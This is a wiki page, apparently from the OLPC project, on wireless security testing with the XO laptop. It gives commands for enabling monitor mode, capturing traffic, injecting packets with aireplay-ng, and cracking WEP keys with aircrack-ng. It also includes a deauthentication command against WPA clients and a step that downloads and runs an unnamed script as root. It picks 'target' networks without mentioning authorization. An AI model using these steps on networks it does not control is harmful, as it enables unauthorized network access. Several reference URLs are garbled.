Wireless network hacking
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These instructions describe how to test wireless networks for security holes and how to use the various security softwares with the XO OLPC. However, great care should be taken in using these tools and software as they may brick your XO in the worst case or considerably bloat your configuration. (Especially when saving large data files...)
Updating Your Software/Firmware
Check General Firmware
http://wiki.laptop.org/go/Firmware http://wiki.laptop.org/go/Upgrading_the_firmware
Check Wireless Firmware
Check that you have a recent version of the wireless firmware by following these instructions: http://wiki.laptop.org/go/Test_Config_Notes#Update_the_wireless_firmware
Check Software
In order to continue we need some network tools:
- wireshark - Is the world's foremost network protocol analyzer (formerly known as Ethereal)
- kismet - Is a 802.11 layer2 wireless network detector, sniffer, and intrusion detection system.
- aircrack-ng - Is a 802.11 WEP/WPA-PSK key cracking program that can recover keys from enough captured data packets
- nessus - Is a well known network vulnerability scanner
- bind-utils - Is a collection of utilities for querying name servers and looking up hosts.
- traceroute - is a computer network tool used to determine the route taken by packets across an IP network.
We can install all of these in one go (in the terminal application):
su yum install wireshark wireshark-gnome kismet aircrack-ng nessus bind-utils traceroute
Configuration of Network Tools
Performing the Analysis
Find a target network
Press the Mesh button and inspect any interesting access point (AP). Any AP with a padlock on it is encrypted in one way or another. These are the ones suited for a WEP/WPA crack.
Collect Network data
Next we need to collect packet data. The way to do this is by enabling tcpdump or wireshark. However, because of some non standard wireless chipsets, we need to do the following: Could someone confirm that this is necessary?
ifconfig msh0 down ifconfig eth0 down killall NetworkManager perhaps it would be more stylish to stop the service instead??: /sbin/service NetworkManager stop
Activate monitor mode on the Marvell chipset:
export TRAFFIC_MASK=0x7 echo $TRAFFIC_MASK > /sys/class/net/eth0/device/libertas_rtap ifconfig rtap0 up
- note: it seems that on joyride 1772 the file is /sys/class/net/eth0/lbs_rtap
- and changing the TRAFFIC_MASK to 0x0 sets it back to normal mode from monitor mode.
Start dumping the data: There is another version of this in the wireshark manual with "s 1500" instead...
tcpdump -s 128 -i rtap0 -w datadump.cap
- also airodump seems to work okay, part of the aircrack-ng package in the olpc repository
- # airodump-ng --write [dumpfile] rtap0
Then we need to restore everything for normal operation (something mostly forgotten in other descriptions.)
ifconfig rtap0 down /sbin/service NetworkManager start ifconfig msh0 up ifconfig eth0 up
- remember to echo 0x0 to your /sys/class/net/eth0/lbs_rtap file to disable monitor mode
However this is not at all obvious to what all this means, and in addition it is a great risk that you crash your XO. So rather use this script, like this:
su wget http://..../capture.sh chmod +x capture.sh ./capture.sh
Generate extra packets
By using aireplay-ng, we can generate extra packets in a short time, by injecting bogous ARP requests. In this examples we will use:
00:11:22:33:44:55 AP 00:66:77:88:99:AA client
The command is something like:
aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:66:77:88:99:AA eth0
Cracking a WEP key
Follow the instructions at this page: http://docs.lucidinteractive.ca/index.php/Cracking_WEP_and_WPA_Wireless_Networks TODO: We should write a short distillation of that wiki here.
Using aircrack-ng:
aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:66:77:88:99:AA eth0
Start another console session and enter:
aircrack-ng -z -b 00:11:22:33:44:55 output*.cap using the PTW WEP-cracking method aircrack-ng -b 00:11:22:33:44:55 output*.cap using the FMS/Korek method
Using the FMS/Korek method you will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128bit keys. Using the PTW method, 40-bit WEP can be cracked with as few as 20,000 data packets and 104-bit WEP with 40,000 data packets.
Cracking a WPA key
Execute the following command in the terminal application while there is a client succesfully connected to the wireless access point:
aireplay -0 5 -a <AP MAC> -c <Client MAC> ath0
Cracking a MESH network
Airtime analysis
For checking how much of the medium a give type of traffic is consuming, check this page
For More Info
http://wiki.laptop.org/go/Wireless_Driver_README http://wiki.laptop.org/go/88W8388 http://wiki.laptop.org/go/Wireless#Capturing_wireless_traffic_on_the_xo http://dev.laptop.org/ticket/4805 http://lists.infradead.org/pipermail/libertas-dev/2007-July/000607.html http://lists.infradead.org/pipermail/libertas-dev/2007-December/001003.html http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Linux.Wireless.drivers.802.11ag.html http://www.olpcnews.com/forum/index.php?topic=814.msg13043;topicseen
References:
http://www.wireshark.org/ http://www.kismetwireless.net/ http://www.aircrackfff-ng.org/doku.php http://www.nessus.org/nessus/ http://www.tcpdump.org/tcpdump_man.html http://www.freebsrtyd.org/cgi/man.cgi?query=traceroute To check what's irtyrn the default installation: http://dev.laptop.org/~bert/joyride-pkgs.html